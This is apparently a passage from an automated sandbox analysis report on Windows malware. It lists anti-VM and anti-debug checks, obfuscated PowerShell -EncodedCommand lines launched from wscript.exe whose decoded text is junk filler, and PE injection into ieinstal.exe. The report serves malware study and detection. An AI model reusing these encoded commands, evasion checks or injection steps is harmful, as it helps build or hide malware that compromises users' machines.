          Source: powershell.exe, 00000015.00000002.2389652355.0000000008851000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=ProgramFiles=\internet explorer\ieinstal.exewindir=\syswow64\iertutil.dll
          Source: ieinstal.exe, 0000001A.00000002.6343660650.00000000033B8000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6350840049.0000000000E10000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6343720507.0000000000D77000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
          Source: CasPol.exe, 00000027.00000002.6350840049.0000000000E10000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW&
          Source: powershell.exe, 00000015.00000002.2389652355.0000000008851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3336816025.0000000009431000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3332160593.0000000008757000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
          Source: powershell.exe, 00000015.00000002.2390758064.000000000A019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3337784261.000000000A249000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6355634272.0000000002B09000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Data Exchange Service
          Source: powershell.exe, 00000015.00000002.2351835327.00000000026D5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe<
          Source: powershell.exe, 00000015.00000002.2390758064.000000000A019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3337784261.000000000A249000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6355634272.0000000002B09000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Heartbeat Service
          Source: powershell.exe, 00000015.00000002.2390758064.000000000A019000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3337784261.000000000A249000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6355634272.0000000002B09000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Guest Service Interface
          Source: powershell.exe, 00000023.00000002.3332160593.0000000008757000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe
          Source: CasPol.exe, 00000027.00000002.6355634272.0000000002B09000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicheartbeat
          Source: powershell.exe, 00000023.00000002.3336816025.0000000009431000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublisherwininet.dllMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Geckoshell32advapi32TEMP=windir=\Microsoft.NET\Framework\v4.0.30319\caspol.exewindir=\syswow64\iertutil.dll
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_00418981 memset,GetSystemInfo,28_2_00418981
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0040AE51 FindFirstFileW,FindNextFileW,28_2_0040AE51
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 30_2_00407C87 FindFirstFileA,FindNextFileA,strlen,strlen,30_2_00407C87
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSystem information queried: ModuleInformationJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,FindCloseChangeNotification,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,28_2_0040DD85
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_004044A4 LoadLibraryW,GetProcAddress,FreeLibrary,MessageBoxW,28_2_004044A4
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess queried: DebugPortJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeProcess queried: DebugPortJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess queried: DebugPort
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess queried: DebugPort
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess token adjusted: Debug
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMemory allocated: page read and write | page guard

          HIPS / PFW / Operating System Protection Evasion

          barindex
          Encrypted powershell cmdline option found
          Source: C:\Windows\System32\wscript.exeProcess created: Base64 decoded #Instru9 SBEURTERNE Slan Spontan7 UNCALL embo reit Tarpape ugiftesd BACKSTAIR egoityh Smed UROGEN vasorrhap Ametro PARAPHRAST Krymmelloc2 INTERSPIR Unsque6 jacobitis PHONOPH Absconders7 Chikitaops SKYGG DOMMEDAGS nonassista Archche tviv Kaprifoli Finansti #Trippets Mlke2 nonexplor FOLKECE Arveflge FASTPRISSY Hoggw6 Repet4 HALVONKLE Arbejds PLOTTER Tsed #Dynamikken7 STKYSTT Hydronit5 redistri mericar vipp Fabr1 FLOVMA AANDSHO Staalstu JESUI Tana Commo Guapino Synkron7 devlinret Omstningsg Rese2 metrolo SUGENEKDBO Svirpetsum1 hydrater OBSERVA TEMPANA VIKINGER upriveeks heartb Embed UNASSEN OPKLA eebreere Picritic3 #EELIEST Crystalog1 DUSINME Indiv8 udskriftsp Teknokra1 tyndtf Elevtime6 dyksv bonboners anticapit under vier YDERP Klbebaand9 Vipst4 Maximon Appraise4 ARTIGER #UDSKRIDN zitas spank Tipperho6 scrol Fnisr FRASIGE dieticia haan Spaamnds1 servi Ledsagemu Underkendt7 Sandp4 kapslerbas disr PROP rosse Forkla9 #Transistor1 WARD Domsfo3 BAJADSEN KARAKTERB chlo Isoc Orontium3 Equippe7 Epigramr Mattispu Shoppinge RETI DEORSUMV almu Gravhu Forsg8 THIR LITOGRAFRA Stra distri SPLICEAB gritmedi lseadga KATAPU mani Parenthoo udsvi #Samlivs5 ambi urootwos Resistingl7 transporta spejling NATIONAL Endeven6 ROLLE Unintell6 mode Sectionall7 Unser9 Ferryslo #TANDBR frio Tillid7 Progyp9 HAVEBR maugerass bemalingco Heteromorp2 Snapre ABNE Lysdd Under #MULLEINS Magdal4 NONCRYST Hoejr5 BUNINGE SWIDG forpagt TYPEGOD SMAAPARTI UNDERSKOVD Skoleg arusha coat Bekymre5 snigg
          Source: C:\Windows\SysWOW64\wscript.exeProcess created: Base64 decoded #KMPEHJSTUT Dinos Crayfishi FADERLIG SLUSHYAN microdens BUDUMARUS Slugeq Korsfs3 FORCEPSESG OTAR MARCH Ordina2 Stedo7 Blodtrans Brillefo #GLITRE ANSVARSB Papil1 hematocyt Anarchis7 BOARDWAL Bigamicp CUECAARBEJ rayonens Jauntingly5 Clypeastri Saxofonen7 AKUTSKADE EVALUATOR Glummyin Fash EJEN termograf zinkeforse Prgehora4 Aarsv cementle kompromi Dera3 JULELCONS undemo endomyceta #Fuldeman4 Unchin9 VIRG Cowsonb3 BREADSTUF Presh Coli2 Chloropalu2 comp Eupat5 MESSIN SKILL Ulumiuser Acido konstrue FALC Outswo Mvhkrigs Webl8 rumm #Cashelga Horn Andenda8 KOAGU drosograph Manzo tipoldefad Fremt5 Waldmeis1 SVINGKA #Uddel PRES handhaving Weathergl4 Creekys9 Sikkerh7 DRIV coll WOOLULOS Chatti8 opsn Strep7 voragoeru UNGAG MAZEDNESSN Misbecomin2 FJER NONSUB kirkef attempe NORDAMERIK fldekager Grej2 SKALPEN RETSPL GUBBIN BAGTAL urosis Trkgar9 Driftsfor #Afdeli8 SURFLEGRI betryg ERKLAE juster tipssen DISOWNHAL COCKTAILS Vrdihftejo Smaasn ALKOHO Eesmith8 REDEMP chry kleaggrega phototh STAMAFDE Slikkepot1 latecom blom TRAF Sanset FEDTFA #central SYSTEM Tokrones2 KATAPU Photoio9 Prognos LIVM bobsleighc slendria solstraa BESTYR Bondesnner3 Whyevermi9 Pengendens Divaricat1 Skilderh ANHYDRIDES Retsgyldi Strat NIKKELHFTE Opgavebog Const4 Rosinb9 PACKMAK myrmekit baademest NONSPECU orkes FREMF Hydri Colon5 #sygd clarintr HUMORPR KINESODICS Savbuksov8 DISGRU SHAPERPL Fisk Valterbio Disinhabi4 Supersuc Ddsaarsag4 Absurde1 CAMSTEARY Kommandove7 micros ogham Nyctalop8 irreflecti Ma
          Source: C:\Windows\System32\wscript.exeProcess created: Base64 decoded #Instru9 SBEURTERNE Slan Spontan7 UNCALL embo reit Tarpape ugiftesd BACKSTAIR egoityh Smed UROGEN vasorrhap Ametro PARAPHRAST Krymmelloc2 INTERSPIR Unsque6 jacobitis PHONOPH Absconders7 Chikitaops SKYGG DOMMEDAGS nonassista Archche tviv Kaprifoli Finansti #Trippets Mlke2 nonexplor FOLKECE Arveflge FASTPRISSY Hoggw6 Repet4 HALVONKLE Arbejds PLOTTER Tsed #Dynamikken7 STKYSTT Hydronit5 redistri mericar vipp Fabr1 FLOVMA AANDSHO Staalstu JESUI Tana Commo Guapino Synkron7 devlinret Omstningsg Rese2 metrolo SUGENEKDBO Svirpetsum1 hydrater OBSERVA TEMPANA VIKINGER upriveeks heartb Embed UNASSEN OPKLA eebreere Picritic3 #EELIEST Crystalog1 DUSINME Indiv8 udskriftsp Teknokra1 tyndtf Elevtime6 dyksv bonboners anticapit under vier YDERP Klbebaand9 Vipst4 Maximon Appraise4 ARTIGER #UDSKRIDN zitas spank Tipperho6 scrol Fnisr FRASIGE dieticia haan Spaamnds1 servi Ledsagemu Underkendt7 Sandp4 kapslerbas disr PROP rosse Forkla9 #Transistor1 WARD Domsfo3 BAJADSEN KARAKTERB chlo Isoc Orontium3 Equippe7 Epigramr Mattispu Shoppinge RETI DEORSUMV almu Gravhu Forsg8 THIR LITOGRAFRA Stra distri SPLICEAB gritmedi lseadga KATAPU mani Parenthoo udsvi #Samlivs5 ambi urootwos Resistingl7 transporta spejling NATIONAL Endeven6 ROLLE Unintell6 mode Sectionall7 Unser9 Ferryslo #TANDBR frio Tillid7 Progyp9 HAVEBR maugerass bemalingco Heteromorp2 Snapre ABNE Lysdd Under #MULLEINS Magdal4 NONCRYST Hoejr5 BUNINGE SWIDG forpagt TYPEGOD SMAAPARTI UNDERSKOVD Skoleg arusha coat Bekymre5 sniggJump to behavior
          Source: C:\Windows\SysWOW64\wscript.exeProcess created: Base64 decoded #KMPEHJSTUT Dinos Crayfishi FADERLIG SLUSHYAN microdens BUDUMARUS Slugeq Korsfs3 FORCEPSESG OTAR MARCH Ordina2 Stedo7 Blodtrans Brillefo #GLITRE ANSVARSB Papil1 hematocyt Anarchis7 BOARDWAL Bigamicp CUECAARBEJ rayonens Jauntingly5 Clypeastri Saxofonen7 AKUTSKADE EVALUATOR Glummyin Fash EJEN termograf zinkeforse Prgehora4 Aarsv cementle kompromi Dera3 JULELCONS undemo endomyceta #Fuldeman4 Unchin9 VIRG Cowsonb3 BREADSTUF Presh Coli2 Chloropalu2 comp Eupat5 MESSIN SKILL Ulumiuser Acido konstrue FALC Outswo Mvhkrigs Webl8 rumm #Cashelga Horn Andenda8 KOAGU drosograph Manzo tipoldefad Fremt5 Waldmeis1 SVINGKA #Uddel PRES handhaving Weathergl4 Creekys9 Sikkerh7 DRIV coll WOOLULOS Chatti8 opsn Strep7 voragoeru UNGAG MAZEDNESSN Misbecomin2 FJER NONSUB kirkef attempe NORDAMERIK fldekager Grej2 SKALPEN RETSPL GUBBIN BAGTAL urosis Trkgar9 Driftsfor #Afdeli8 SURFLEGRI betryg ERKLAE juster tipssen DISOWNHAL COCKTAILS Vrdihftejo Smaasn ALKOHO Eesmith8 REDEMP chry kleaggrega phototh STAMAFDE Slikkepot1 latecom blom TRAF Sanset FEDTFA #central SYSTEM Tokrones2 KATAPU Photoio9 Prognos LIVM bobsleighc slendria solstraa BESTYR Bondesnner3 Whyevermi9 Pengendens Divaricat1 Skilderh ANHYDRIDES Retsgyldi Strat NIKKELHFTE Opgavebog Const4 Rosinb9 PACKMAK myrmekit baademest NONSPECU orkes FREMF Hydri Colon5 #sygd clarintr HUMORPR KINESODICS Savbuksov8 DISGRU SHAPERPL Fisk Valterbio Disinhabi4 Supersuc Ddsaarsag4 Absurde1 CAMSTEARY Kommandove7 micros ogham Nyctalop8 irreflecti MaJump to behavior
          Injects a PE file into a foreign processes
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeMemory written: C:\Program Files (x86)\Internet Explorer\ieinstal.exe base: 400000 value starts with: 4D5AJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeMemory written: C:\Program Files (x86)\Internet Explorer\ieinstal.exe base: 400000 value starts with: 4D5AJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeMemory written: C:\Program Files (x86)\Internet Explorer\ieinstal.exe base: 400000 value starts with: 4D5AJump to behavior
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeMemory written: C:\Program Files (x86)\Internet Explorer\ieinstal.exe base: 400000 value starts with: 4D5AJump to behavior
          Writes to foreign memory regions
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMemory written: C:\Program Files (x86)\Internet Explorer\ieinstal.exe base: 3210000Jump to behavior
          Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUg
          Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBLAE0AUABFAEgASgBTAFQAVQBUACAARABpAG4AbwBzACAAQwByAGEAeQBmAGkAcwBoAGkAIABGAEEARABFAFIATABJAEcAIABTAEwAVQBTAEgAWQBBAE4AIABtAGkAYwByAG8AZABlAG4AcwAgAEIAVQBEAFUATQBBAFIAVQBTACAAUwBsAHUAZwBlAHEAIABLAG8AcgBzAGYAcwAzACAARgBPAFIAQwBFAFAAUwBFAFMARwAgAE8AVABBAFIAIABNAEEAUgBDAEgAIABPAHIAZABpAG4AYQAyACAAUwB0AGUAZABvADcAIABCAGwAbwBkAHQAcgBhAG4AcwAgAEIAcgBpAGwAbABlAGYAbwAgAA0ACgAjAEcATABJAFQAUgBFACAAQQBOAFMAVgBBAFIAUwBCACAAUABhAHAAaQBsADEAIABoAGUAbQBhAHQAbwBjAHkAdAAgAEEAbgBhAHIAYwBoAGkAcwA3ACAAQgBPAEEAUgBEAFcAQQBMACAAQgBpAGcAYQBtAGkAYwBwACAAQwBVAEUAQwBBAEEAUgBCAEUASgAgAHIAYQB5AG8AbgBlAG4AcwAgAEoAYQB1AG4AdABpAG4AZwBsAHkANQAgAEMAbAB5AHAAZQBhAHMAdAByAGkAIABTAGEAeABvAGYAbwBuAGUAbgA3ACAAQQBLAFUAVABTAEsAQQBEAEUAIABFAFYAQQBMAFUAQQBUAE8AUgAgAEcAbAB1AG0AbQB5AGkAbgAgAEYAYQBzAGgAIABFAEoARQBOACAAdABlAHIAbQBvAGcAcgBhAGYAIAB6AGkAbgBrAGUAZgBvAHIAcwBlACAAUAByAGcAZQBoAG8AcgBhADQAIABBAGEAcgBzAHYAIABjAGUAbQBlAG4AdABsAGUAIABrAG8AbQBwAHIAbwBtAGkAIABEAGUAcgBhADMAIABKAFUATABFAEwAQwBPAE4AUwAgAHUAbgBkAGUAbQBvACAAZQBuAGQAbwBtAHkAYwBlAHQAYQAgAA0ACgAjAEYAdQBsAGQAZQBtAGEAbgA0ACAAVQBuAGMAaABpAG4AOQAgAFYASQBSAEcAIABDAG8AdwBzAG8AbgBiADMAIABCAFIARQBBAEQAUwBUAFUARgAgAFAAcgBlAHMAaAAgAEMAbwBsAGkAMgAgAEMAaABsAG8AcgBvAHAAYQBsAHUAMgAgAGMAbwBtAHAAIABFAHUAcABhAHQANQAgAE0ARQBTAFMASQBOACAAUwBLAEkATABMACAAVQBsAHUAbQBpAHUAcwBlAHIAIABBAGMAaQBkAG8AIABrAG8AbgBzAHQAcgB1AGUAIABGAEEATABDACAATwB1AHQAcwB3AG8AIABNAHYAaABrAHIAaQBnAHMAIABXAGUAYgBsADgAIAByAHUAbQBtACAADQAKACMAQwBhAHMAaABlAGwAZwBhACAASABvAHIAbgAgAEEAbgBkAGUAbgBkAGEAOAAgAEsATwBBAEcAVQAgAGQAcgBvAHMAbwBnAHIAYQBwAGgAIABNAGEAbgB6AG8AIAB0AGkAcABvAGwAZABlAGYAYQBkACAARgByAGUAbQB0ADUAIABXAGEAbABkAG0AZQBpAHMAMQAgAFMAVgBJAE4ARwBLAEEAIAANAAoAIwBVAGQAZABlAGwAIABQAFIARQBTACAAaABhAG4AZABoAGEAdgBpAG4AZwAgAFcAZQBhAHQAaABlAHIAZwBsADQAIABDAHIAZQBlAGsAeQBzADkAIABTAGkAawBrAGUAcgBoADcAIABEAFIASQBWACAAYwBvAGwAbAAgAFcATwBPAEwAVQBMAE8AUwAgAEMAaABhAHQAdABpADgAIABvAHAAcwBuACAAUwB0AHIAZQBwADcAIAB2AG8AcgBhAGcAbwBlAHIAdQAgAFUATgBHAEEARwAgAE0AQQBaAEUARABOAEUAUwBTAE4AIABNAGkAcwBiAGUAYwBvAG0AaQBuADIAIABGAEoARQBSACAATgBPAE4AUwBVAEIAIABrAGkAcgBrAGUAZgAgAGEAdAB0AGUAbQBwAGUAIABOAE8AUgBEAEEATQBFAFIASQBLACAAZgBsAGQAZQBrAGEAZwBlAHIAIABHAHIAZQBqADIAIABTAEsAQQBMAFAARQBOACAAUgBFAFQAUwBQAEwAIABHAFUAQgBCAEkATgAgAEIAQQBHAFQAQQBMACAAdQByAG8AcwBpAHMAIABUAHIAawBnAGEAcgA5ACAARAByAGkAZgB0AHMAZgBvAHIAIAANAAoAIwBBAGYAZABlAGwAaQA4ACAAUwBVAFIARgBMAEUARwBSAEkAIABiAGUAdAByAHkAZwAgAEUAUgBLAEwAQQBFACAAagB1AHMAdABlAHIAIAB0AGkAcABzAHMAZQBuACAARABJAFMATwBXAE4ASABBAEwAIABDAE8AQwBLAFQAQQBJAEwAUwAgAFYAcgBkAGkAaABmAHQAZQBqAG8AIABTAG0AYQBhAHMAbgAgAEEATABLAE8ASABPACAARQBlAHMAbQBpAHQAaAA4ACAAUgBFAEQARQBNAFAAIABjAGgAcgB5ACAAawBsAGUAYQBnAGcAcgBlAGcAYQAgAHAAaABvAHQAbwB0AGgAIABTAFQAQQBNAEEARgBEAEUAIABTAGwAaQBrAGsAZQBwAG8AdAAxACAAbABhAHQAZQBjAG8AbQAgAGIAbABvAG0AIABUAFIAQQBGACAAUwBhAG4AcwBlAHQAIABGAEUARABUAEYAQQAgAA0ACgAjAGMAZQBuAHQAcgBhAGwAIABTAFkAUwBUAEUATQAgAFQAbwBrAHIAbwBuAGUAcwAyACAASw
          Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAH